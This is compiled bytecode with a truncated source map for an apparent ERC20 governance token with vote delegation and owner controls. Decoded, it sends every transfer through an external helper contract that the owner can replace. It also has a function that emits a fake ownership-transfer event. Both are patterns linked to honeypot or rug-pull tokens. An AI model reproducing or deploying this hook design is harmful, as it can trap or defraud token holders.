0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80638da5cb5b116100f9578063c3cda52011610097578063dd62ed3e11610071578063dd62ed3e1461052f578063e7a324dc1461055f578063f1127ed81461057d578063f2fde38b146105ae576101c4565b8063c3cda520146104eb578063c44e370214610507578063c64cb5af14610525576101c4565b8063a457c2d7116100d3578063a457c2d71461043f578063a9059cbb1461046f578063b4b5ea571461049f578063b792d03f146104cf576101c4565b80638da5cb5b146103e757806395d89b41146104055780639755409e14610423576101c4565b8063587cde1e1161016657806370a082311161014057806370a082311461034d578063715018a61461037d578063782d6fe1146103875780637ecebe00146103b7576101c4565b8063587cde1e146102d15780635c19a95c146103015780636fcfff451461031d576101c4565b806320606b70116101a257806320606b701461023557806323b872dd14610253578063313ce5671461028357806339509351146102a1576101c4565b806306fdde03146101c9578063095ea7b3146101e757806318160ddd14610217575b600080fd5b6101d16105ca565b6040516101de9190612e78565b60405180910390f35b61020160048036038101906101fc9190612955565b61065c565b60405161020e9190612d73565b60405180910390f35b61021f61067a565b60405161022c919061303a565b60405180910390f35b61023d610684565b60405161024a9190612d8e565b60405180910390f35b61026d600480360381019061026891906128a3565b6106a8565b60405161027a9190612d73565b60405180910390f35b61028b610781565b60405161029891906130c2565b60405180910390f35b6102bb60048036038101906102b69190612955565b610798565b6040516102c89190612d73565b60405180910390f35b6102eb60048036038101906102e6919061283e565b61084b565b6040516102f89190612d21565b60405180910390f35b61031b6004803603810190610316919061283e565b6108b4565b005b6103376004803603810190610332919061283e565b6108c1565b604051610344919061307e565b60405180910390f35b6103676004803603810190610362919061283e565b6108e4565b604051610374919061303a565b60405180910390f35b61038561092d565b005b6103a1600480360381019061039c9190612955565b610a67565b6040516103ae919061303a565b60405180910390f35b6103d160048036038101906103cc919061283e565b610e3e565b6040516103de919061303a565b60405180910390f35b6103ef610e56565b6040516103fc9190612d21565b60405180910390f35b61040d610e7f565b60405161041a9190612e78565b60405180910390f35b61043d600480360381019061043891906128f2565b610f11565b005b61045960048036038101906104549190612955565b6110c2565b6040516104669190612d73565b60405180910390f35b61048960048036038101906104849190612955565b61118f565b6040516104969190612d73565b60405180910390f35b6104b960048036038101906104b4919061283e565b6111ad565b6040516104c6919061303a565b60405180910390f35b6104e960048036038101906104e4919061283e565b61128c565b005b61050560048036038101906105009190612991565b611305565b005b61050f61159a565b60405161051c9190612d73565b60405180910390f35b61052d6115ad565b005b61054960048036038101906105449190612867565b611655565b604051610556919061303a565b60405180910390f35b6105676116dc565b6040516105749190612d8e565b60405180910390f35b61059760048036038101906105929190612a1a565b611700565b6040516105a5929190613099565b60405180910390f35b6105c860048036038101906105c3919061283e565b611741565b005b6060600580546105d9906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610605906132cf565b80156106525780601f1061062757610100808354040283529160200191610652565b820191906000526020600020905b81548152906001019060200180831161063557829003601f168201915b5050505050905090565b6000610670610669611948565b8484611950565b6001905092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60006106b5848484611b1b565b610776846106c1611948565b610771856040518060600160405280602881526020016139de60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610727611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006108416107a5611948565b8461083c85600260006107b6611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b611950565b6001905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6108be3382611c52565b50565b600a6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610935611948565b73ffffffffffffffffffffffffffffffffffffffff16610953610e56565b73ffffffffffffffffffffffffffffffffffffffff16146109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000438210610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290612e9a565b60405180910390fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610b18576000915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610b6791906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610c1457600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610bee91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610c95576000915050610e38565b600080600183610ca591906131f9565b90505b8163ffffffff168163ffffffff161115610dd257600060028383610ccc91906131f9565b610cd69190613194565b82610ce191906131f9565b90506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610da157806020015195505050505050610e38565b86816000015163ffffffff161015610dbb57819350610dcb565b600182610dc891906131f9565b92505b5050610ca8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610e8e906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610eba906132cf565b8015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b5050505050905090565b610f19611948565b73ffffffffffffffffffffffffffffffffffffffff16610f37610e56565b73ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612fba565b60405180910390fd5b60011515600360009054906101000a900460ff16151514156110bc576000821115610fc057610fbb81611dc3565b61102a565b604051610fcc906127c8565b604051809103906000f080158015610fe8573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b815260040161108993929190612d3c565b600060405180830381600087803b1580156110a357600080fd5b505af11580156110b7573d6000803e3d6000fd5b505050505b50505050565b60006111856110cf611948565b8461118085604051806060016040528060258152602001613a3460259139600260006110f9611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b6001905092915050565b60006111a361119c611948565b8484611b1b565b6001905092915050565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611217576000611284565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361126591906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600060146101000a81548160ff02191690831515021790555050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666113306105ca565b8051906020012061133f611e15565b306040516020016113539493929190612dee565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016113a49493929190612da9565b604051602081830303815290604052805190602001209050600082826040516020016113d1929190612cea565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161140e9493929190612e33565b6020604051602081039080840390855afa158015611430573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390612f3a565b60405180910390fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906114fc90613301565b919050558914611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612fda565b60405180910390fd5b87421115611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90612f7a565b60405180910390fd5b61158e818b611c52565b50505050505050505050565b600360009054906101000a900460ff1681565b6115b5611948565b73ffffffffffffffffffffffffffffffffffffffff166115d3610e56565b73ffffffffffffffffffffffffffffffffffffffff1614611629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162090612fba565b60405180910390fd5b600360009054906101000a900460ff1615600360006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6009602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611749611948565b73ffffffffffffffffffffffffffffffffffffffff16611767610e56565b73ffffffffffffffffffffffffffffffffffffffff16146117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b490612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612eda565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846118f99190613104565b90508381101561193e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193590612f1a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b79061301a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790612efa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b0e919061303a565b60405180910390a3505050565b611b26838383611e22565b611bef600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836120bb565b505050565b6000838311158290611c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c339190612e78565b60405180910390fd5b508284611c4991906131c5565b90509392505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611cc1846108e4565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611dbd8284836120bb565b50505050565b611dcb61236a565b15611e125780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000804690508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef990612eba565b60405180910390fd5b611f0d838383612380565b611f79816040518060600160405280602681526020016139b860269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ae919061303a565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120f75750600081115b1561236557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612230576000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff161161219a576000612207565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846121e891906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061221e848361241690919063ffffffff16565b905061222c8684848461246f565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612364576000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116122ce57600061233b565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461231c91906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061235284836118ea90919063ffffffff16565b90506123608584848461246f565b5050505b5b505050565b60008060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b81526004016123df93929190612d3c565b600060405180830381600087803b1580156123f957600080fd5b505af115801561240d573d6000803e3d6000fd5b50505050505050565b60008282111561245b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245290612f5a565b60405180910390fd5b818361246791906131c5565b905092915050565b6000612493436040518060600160405280602e8152602001613a06602e9139612772565b905060008463ffffffff1611801561253157508063ffffffff16600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876124fb91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156125ab5781600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761258591906131f9565b63ffffffff1663ffffffff1681526020019081526020016000206001018190555061271b565b60405180604001604052808263ffffffff16815260200183815250600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561266a919061315a565b63ffffffff16116126b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a790612f9a565b60405180910390fd5b6001846126bd919061315a565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612763929190613055565b60405180910390a25050505050565b6000640100000000831082906127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b59190612e78565b60405180910390fd5b5082905092915050565b61020a806137ae83390190565b6000813590506127e48161373a565b92915050565b6000813590506127f981613751565b92915050565b60008135905061280e81613768565b92915050565b6000813590506128238161377f565b92915050565b60008135905061283881613796565b92915050565b60006020828403121561285057600080fd5b600061285e848285016127d5565b91505092915050565b6000806040838503121561287a57600080fd5b6000612888858286016127d5565b9250506020612899858286016127d5565b9150509250929050565b6000806000606084860312156128b857600080fd5b60006128c6868287016127d5565b93505060206128d7868287016127d5565b92505060406128e8868287016127ff565b9150509250925092565b6000806000806080858703121561290857600080fd5b6000612916878288016127d5565b9450506020612927878288016127d5565b9350506040612938878288016127ff565b9250506060612949878288016127d5565b91505092959194509250565b6000806040838503121561296857600080fd5b6000612976858286016127d5565b9250506020612987858286016127ff565b9150509250929050565b60008060008060008060c087890312156129aa57600080fd5b60006129b889828a016127d5565b96505060206129c989828a016127ff565b95505060406129da89828a016127ff565b94505060606129eb89828a01612829565b93505060806129fc89828a016127ea565b92505060a0612a0d89828a016127ea565b9150509295509295509295565b60008060408385031215612a2d57600080fd5b6000612a3b858286016127d5565b9250506020612a4c85828601612814565b9150509250929050565b612a5f8161322d565b82525050565b612a6e8161323f565b82525050565b612a7d8161324b565b82525050565b612a94612a8f8261324b565b61334a565b82525050565b6000612aa5826130dd565b612aaf81856130e8565b9350612abf81856020860161329c565b612ac8816133e1565b840191505092915050565b6000612ae06021836130e8565b9150612aeb826133f2565b604082019050919050565b6000612b036023836130e8565b9150612b0e82613441565b604082019050919050565b6000612b266026836130e8565b9150612b3182613490565b604082019050919050565b6000612b496022836130e8565b9150612b54826134df565b604082019050919050565b6000612b6c6002836130f9565b9150612b778261352e565b600282019050919050565b6000612b8f601b836130e8565b9150612b9a82613557565b602082019050919050565b6000612bb26020836130e8565b9150612bbd82613580565b602082019050919050565b6000612bd5601e836130e8565b9150612be0826135a9565b602082019050919050565b6000612bf86020836130e8565b9150612c03826135d2565b602082019050919050565b6000612c1b6030836130e8565b9150612c26826135fb565b604082019050919050565b6000612c3e6020836130e8565b9150612c498261364a565b602082019050919050565b6000612c61601c836130e8565b9150612c6c82613673565b602082019050919050565b6000612c846025836130e8565b9150612c8f8261369c565b604082019050919050565b6000612ca76024836130e8565b9150612cb2826136eb565b604082019050919050565b612cc681613275565b82525050565b612cd58161327f565b82525050565b612ce48161328f565b82525050565b6000612cf582612b5f565b9150612d018285612a83565b602082019150612d118284612a83565b6020820191508190509392505050565b6000602082019050612d366000830184612a56565b92915050565b6000606082019050612d516000830186612a56565b612d5e6020830185612a56565b612d6b6040830184612cbd565b949350505050565b6000602082019050612d886000830184612a65565b92915050565b6000602082019050612da36000830184612a74565b92915050565b6000608082019050612dbe6000830187612a74565b612dcb6020830186612a56565b612dd86040830185612cbd565b612de56060830184612cbd565b95945050505050565b6000608082019050612e036000830187612a74565b612e106020830186612a74565b612e1d6040830185612cbd565b612e2a6060830184612a56565b95945050505050565b6000608082019050612e486000830187612a74565b612e556020830186612cdb565b612e626040830185612a74565b612e6f6060830184612a74565b95945050505050565b60006020820190508181036000830152612e928184612a9a565b905092915050565b60006020820190508181036000830152612eb381612ad3565b9050919050565b60006020820190508181036000830152612ed381612af6565b9050919050565b60006020820190508181036000830152612ef381612b19565b9050919050565b60006020820190508181036000830152612f1381612b3c565b9050919050565b60006020820190508181036000830152612f3381612b82565b9050919050565b60006020820190508181036000830152612f5381612ba5565b9050919050565b60006020820190508181036000830152612f7381612bc8565b9050919050565b60006020820190508181036000830152612f9381612beb565b9050919050565b60006020820190508181036000830152612fb381612c0e565b9050919050565b60006020820190508181036000830152612fd381612c31565b9050919050565b60006020820190508181036000830152612ff381612c54565b9050919050565b6000602082019050818103600083015261301381612c77565b9050919050565b6000602082019050818103600083015261303381612c9a565b9050919050565b600060208201905061304f6000830184612cbd565b92915050565b600060408201905061306a6000830185612cbd565b6130776020830184612cbd565b9392505050565b60006020820190506130936000830184612ccc565b92915050565b60006040820190506130ae6000830185612ccc565b6130bb6020830184612cbd565b9392505050565b60006020820190506130d76000830184612cdb565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061310f82613275565b915061311a83613275565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314f5761314e613354565b5b828201905092915050565b60006131658261327f565b91506131708361327f565b92508263ffffffff0382111561318957613188613354565b5b828201905092915050565b600061319f8261327f565b91506131aa8361327f565b9250826131ba576131b9613383565b5b828204905092915050565b60006131d082613275565b91506131db83613275565b9250828210156131ee576131ed613354565b5b828203905092915050565b60006132048261327f565b915061320f8361327f565b92508282101561322257613221613354565b5b828203905092915050565b600061323882613255565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60005b838110156132ba57808201518184015260208101905061329f565b838111156132c9576000848401525b50505050565b600060028204905060018216806132e757607f821691505b602082108114156132fb576132fa6133b2565b5b50919050565b600061330c82613275565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333f5761333e613354565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e6560008201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f64656c656761746542795369673a20696e76616c6964207369676e6174757265600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f64656c656761746542795369673a207369676e61747572652065787069726564600082015250565b7f5f7772697465436865636b706f696e743a206e657720636865636b706f696e7460008201527f2065786365656473203332206269747300000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f64656c656761746542795369673a20696e76616c6964206e6f6e636500000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6137438161322d565b811461374e57600080fd5b50565b61375a8161324b565b811461376557600080fd5b50565b61377181613275565b811461377c57600080fd5b50565b6137888161327f565b811461379357600080fd5b50565b61379f8161328f565b81146137aa57600080fd5b5056fe608060405234801561001057600080fd5b506101ea806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61004a600480360381019061004591906100fb565b61004c565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000813590506100e081610186565b92915050565b6000813590506100f58161019d565b92915050565b60008060006060848603121561011057600080fd5b600061011e868287016100d1565b935050602061012f868287016100d1565b9250506040610140868287016100e6565b9150509250925092565b60006101558261015c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61018f8161014a565b811461019a57600080fd5b50565b6101a68161017c565b81146101b157600080fd5b5056fea2646970667358221220e32c3b9e25196b65647682f9a67ef2503547fd579b44605c642cbc82280b607f64736f6c6343000801003345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e0c976c1891d9df0e3b39e3419e7eace19e85ec5431bcce250ec7bdceb7d65e564736f6c63430008010033
Deployed Bytecode Sourcemap
139:9244:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2524:91:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4458:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2680:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1639:122:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5109:321:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3426:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5839:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2622:149:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2915:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1517:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3582:127:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1945:148:5;;;:::i;:::-;;5518:1247:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2053:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1294:87:5;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2359:95:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9690:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6560:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3922:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4832:255:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1051:164:5;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3459:1172:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1554:26:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8948:96:2;;;:::i;:::-;;4160:151:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1855:117:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1378:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;2248:244:5;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2524:91:1;2569:13;2602:5;2595:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;